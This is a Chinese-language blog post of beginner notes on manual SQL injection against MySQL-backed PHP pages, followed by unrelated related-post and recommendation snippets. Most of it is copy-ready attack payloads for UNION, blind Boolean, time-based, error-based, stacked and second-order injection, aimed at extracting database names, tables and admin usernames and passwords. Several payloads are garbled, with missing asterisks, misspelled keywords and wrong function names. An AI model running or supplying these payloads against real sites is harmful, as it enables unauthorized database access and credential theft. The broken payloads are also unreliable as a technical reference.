一、字符型注入

针对如下php代码进行注入:

$sql="select user_name from users where name='$_GET['name']'";

正常访问URL:http://url/xxx.php?name=admin

此时实际数据库语句:

select user_name from users where name='admin'

利用以上结果可想到SQL注入构造语句:

http://url/xxx.php?name=admin' and '1'='1' --'

此时实际数据库语句:

select user_name from users where name='admin' and '1'='1' --''

在上面的sql语句中可以发现,通过闭合原本的单引号,在后面添加新的查询语句,可达到注入目的。(mysql中两个单引号中间为空会被忽略,若出现单个单引号会有语法错误。)

成功后可以开始进行猜解数据库了:

1、猜字段数

and 1=2 union select 1,2,3,4,5,6……(字段数为多少,后面的数字就到几,如union select 1,2,3,4,5能够成功返回结果则表示字段数为5)

order by 6 ( 当某一数字正常返回页面就表示有多少个字段)

2、查库

and 1=2 union select 1,2,3,database(),5,6--+       (利用第四个字段的显示位来显示数据库名,具体位置看具体网站)

3、查表

and 1=2 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--+       (以MySQL为例 )

4、查字段

and 1=2 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database() and table_name='admin'--+       (以MySQL为例,其中admin和单引号 可以使用admin的十六进制代替,其他内容也可以。 )

5、查内容

and 1=2 union select 1,2,3,group_concat(username,password),5,6 from admin --+

上述单引号括起来的内容可以替换为内容的十六进制绕过单引号过滤。

二、布尔盲注(Boolean with blind SQL injection)

第一步:猜数据库长度

?id=1' and length(database())>=1--+

>=1可以自己结合场景自己更换。

第二步:猜数据库名

?id=1' and substr(database(),1,1)='a'--+   普通版

?id=1' and ord(substr(database(),1,1))=97 --+   ASCII码版---与上面意思相同

substr为截取字符串,从1开始。上面这段表示从1开始截取1个字符。

ord为MySQL中转换ASCII码的函数。

当测出第一个字符以后测试第二个字符 用substr(database(),2,1)=‘a’--+,一共需要测到第一步中猜测出来的长度。

第三步:猜表名

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+   直接版可以不用猜解数据库名

?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='a'--+   普通版 使用第二步猜解出来的数据库名

?id=1' and ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97 --+   ASCII码版---与上面意思相同

limit 函数表示取出内容的条数范围,从0开始。上段内容limit 0,1表示从第一个开始取1条。则从第二个开始取一条为:limit 1,1。

第三步:猜字段名

?id=1' and substr((select table_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),1,1)='a'--+   直接版可以不用猜解数据库名

?id=1' and substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1)='a'--+   普通版 使用第二步猜解出来的数据库名

?id=1' and ord(substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1))=97 --+   ASCII码版---与上面意思相同

上述单引号括起来的内容可以替换为内容的十六进制绕过单引号过滤。

第四步:猜内容

?id=1' and substr((select username from admin limit 0,1),1,1)='a'--+   直接版可以不用猜解数据库名

?id=1' and substr((select username from admin limit 0,1),1,1)='a'--+   普通版 使用第二步猜解出来的数据库名

?id=1' and ord(substr((select username from admin limit 0,1),1,1))=97 --+   ASCII码版---与上面意思相同

三、报错注入

由于程序员或网站维护人员的配置不当,错误信息被输出到了前台,导致可以根据报错进行一系列的操作。

因此可以利用报错注入获取数据,报错注入有很多格式:

1、通过floor报错:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错:
and multlinestring (()select * from(select user () )a)b );

11、通过multpolygon ()报错:
and multpolygon (()select * from(select user () )a)b );

12、通过linestring ()报错:
and linestring (()select * from(select user() )a)b );

这里使用updatexml()

1、利用updatexml获取user()

?user=admin‘ and updatexml(1,concat(0x7e,(select user())),1)--+

0x7e为ASCII码的 ~ 波浪号,为了在返回的报错信息中很方便的查看到想要注入得到的数据,没有别的功能性作用。

2、利用updatexml获取database()

?user=admin‘ and updatexml(1,concat(0x7e,(select database())),1)--+

3、利用updatexml查询数据库

?id=1 and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select schema_name),0x7e) from admin limit 0,1),0x7e),1)

4、利用updatexml查询表

?id=1 and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select table_name),0x7e) from admin limit 0,1),0x7e),1)

5、利用updatexml查询字段

?id=1 and updatexml(1,concat(0x7e,(selecct distinct concat(0x7e, (select column_name),0x7e) from admin limit 0,1),0x7e),1)

6、利用updatexml获取字段内容

查表名:?user=admin‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+

查询其他内容就不一一列举,在上面一、二板块有详细内容,融会贯通灵活运用就可以。

其他报错函数利用原理大致相同。

四、延时盲注攻击(Sleep with blind SQL injection)

又称为时间盲注,与Boolean注入非常相似,不同之处在于延时注入使用的是sleep()、benchmark()等造成延时的函数从页面返回耗时来判断。

多用IF(exp1,exp2,exp3)结合使用,若exp1为真,则返回exp2,若exp2为假,则返回exp3。

1、判断数据库名长度

?id=1' and if(length(database())>=3,sleep(5),1)

sleep函数中的参数单位为秒。若数据库长度>=3则睡5秒再返回内容给你,否则直接查询1返回结果。

2、判断数据库内容

?id=1' and if( ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)  猜字段名

?id=1' and if(substr((select username from admin limit 0,1),1,1)='a',sleep(5),1)  猜字段内容

其他查询语句可以参考上面一、二介绍的语句。

五、堆叠查询注入攻击

?id=1’ 加了单引号页面返回错误,?id=1' %23以后页面返回正常则可以利用。

闭合原本的查询语句,构造自己的查询语句(利用方式为布尔盲注和时间盲注)。

1、猜数据库名

?id=1'%23 select if(substr(database(),1,1)='a',sleep(5),1)%23   这里利用的是时间盲注

?id=1'%23 select if(ord(substr(database(),1,1))=97 ,sleep(5),1)%23   这里利用的是布尔盲注

2、猜数据库内容

?id=1'%23 if(ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97,sleep(5),1)%23 猜表名

?id=1'%23 if(ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)%23 猜字段名

其他查询语句可以参考上面一、二、三、四介绍的语句。

六、二次注入

某一次用户输入的恶意构造内容被保存到数据中,当第二次从数据库中去获取该内容时,用户输入的恶意SQL语句截断了第二次查询的查询语句,执行了用户构造的语句。

比如在注册用户时 用户名设置为 test‘ 在test后面加个单引号,没有过滤输入而保存到数据库中。当去访问个人中心时,发现显示用户名的地方出现了数据库报错,单引号被带到了查询语句中执行了。

原理就是系统对数据库中的内容没有进行过滤而是采取信任,导致从外部无法注入却从内部上查询中注入成功。

SQL手工注入入门级笔记(更新中)的更多相关文章

  1. Kali学习笔记42:SQL手工注入(4)

    前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...

  2. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

  3. 【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入

    很多新手小白入门后发现想要学好“网安”技术,除了掌握基础理论知识,更需要经常模拟不同的漏洞环境,但是如果使用外网服务器练习,会存在一定风险,因此能够搭建一个本地的模拟环境去测试漏洞将是一个不错的方案. ...

  4. 基于dvwa环境下级别为low的SQL手工注入教程

    基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这 ...

  5. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  6. 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

    SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...

  7. (后端)sql手工注入语句&SQL手工注入大全(转)

    转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...

  8. python辅助sql手工注入猜解数据库案例分析

    发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...

  9. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

随机推荐

  1. CodeFroces-- Feel Good

    题目大意:给出一段无序数组找出任意 一段区间和*这段区间的最小值 使这个值最大 栈的经典问题 用栈预处理出当前ai 为这块区间最小值的时候 的区间范围(L 和R) #include<bits/s ...

  2. yzh的神仙题

    U66905 zz题 考虑一个点权值被计算了多少次...不知 所以对未来承诺,方便直接算上总数! 然后其实是给边定向,即先删除fa和son的哪一个 f[x][j],会计算j次 无法转移 f[x][j] ...

  3. HDU/HDOJ 4864 Task

    贪心题. 贪心方法很是naive...... 首先我们就能注意到一个性质:优先选择时间(x)长的,然后才是等级(y). 所以我们把机器和任务排好序,从大到小枚举任务.对于每一个x满足的机器,x也一定满 ...

  4. P3486 [POI2009]KON-Ticket Inspector

    啊!这题做的真是爽!除了DP这个方法是有提示的之外,这题居然没有题解,哈哈哈嘿嘿嘿.很自豪的说:全是我自己独立解出来的一道题,包括设计状态,推倒(☺)转移方程,最后记录路径. 好了,首先,我们发现这题 ...

  5. 第九篇-新建文件夹和文本文件mkdirs,createNewFile

    一.新建一个empty activity的项目 二.修改AndroidMainfest.xml,添加用户权限. <?xml version="1.0" encoding=&q ...

  6. django框架中的全文检索Haystack

    1.什么是Haystack Haystack是django的开源全文搜索框架(全文检索不同于特定字段的模糊查询,使用全文检索的效率更高 ),该框架支持Solr,Elasticsearch,Whoosh ...

  7. HTML学习笔记Day1

    一.网站建设流程 1.注册域名(网址) 2.租用空间(服务器) 3.网站建设 (1)确定网站主题(项目) (2)搜集材料(项目) (3)规划网站(UI) (4)制作页面(前端--后端) 4.网络推广 ...

  8. (二叉树 BFS) leetcode513. Find Bottom Left Tree Value

    Given a binary tree, find the leftmost value in the last row of the tree. Example 1: Input: 2 / \ 1 ...

  9. 2019你该掌握的开源日志管理平台ELK STACK

    转载于https://www.vtlab.io/?p=217   在企业级开源日志管理平台ELK VS GRAYLOG一文中,我简单阐述了日志管理平台对技术人员的重要性,并把ELK Stack和Gra ...

  10. Http接口开发(自测服务端客户端)

    一.  Http与Https的区别             1.概念       HTTP:是互联网上应用最为广泛的一种网络协议,是一个客户端和服务器端请求和应答的标准(TCP),用于从www服务器传 ...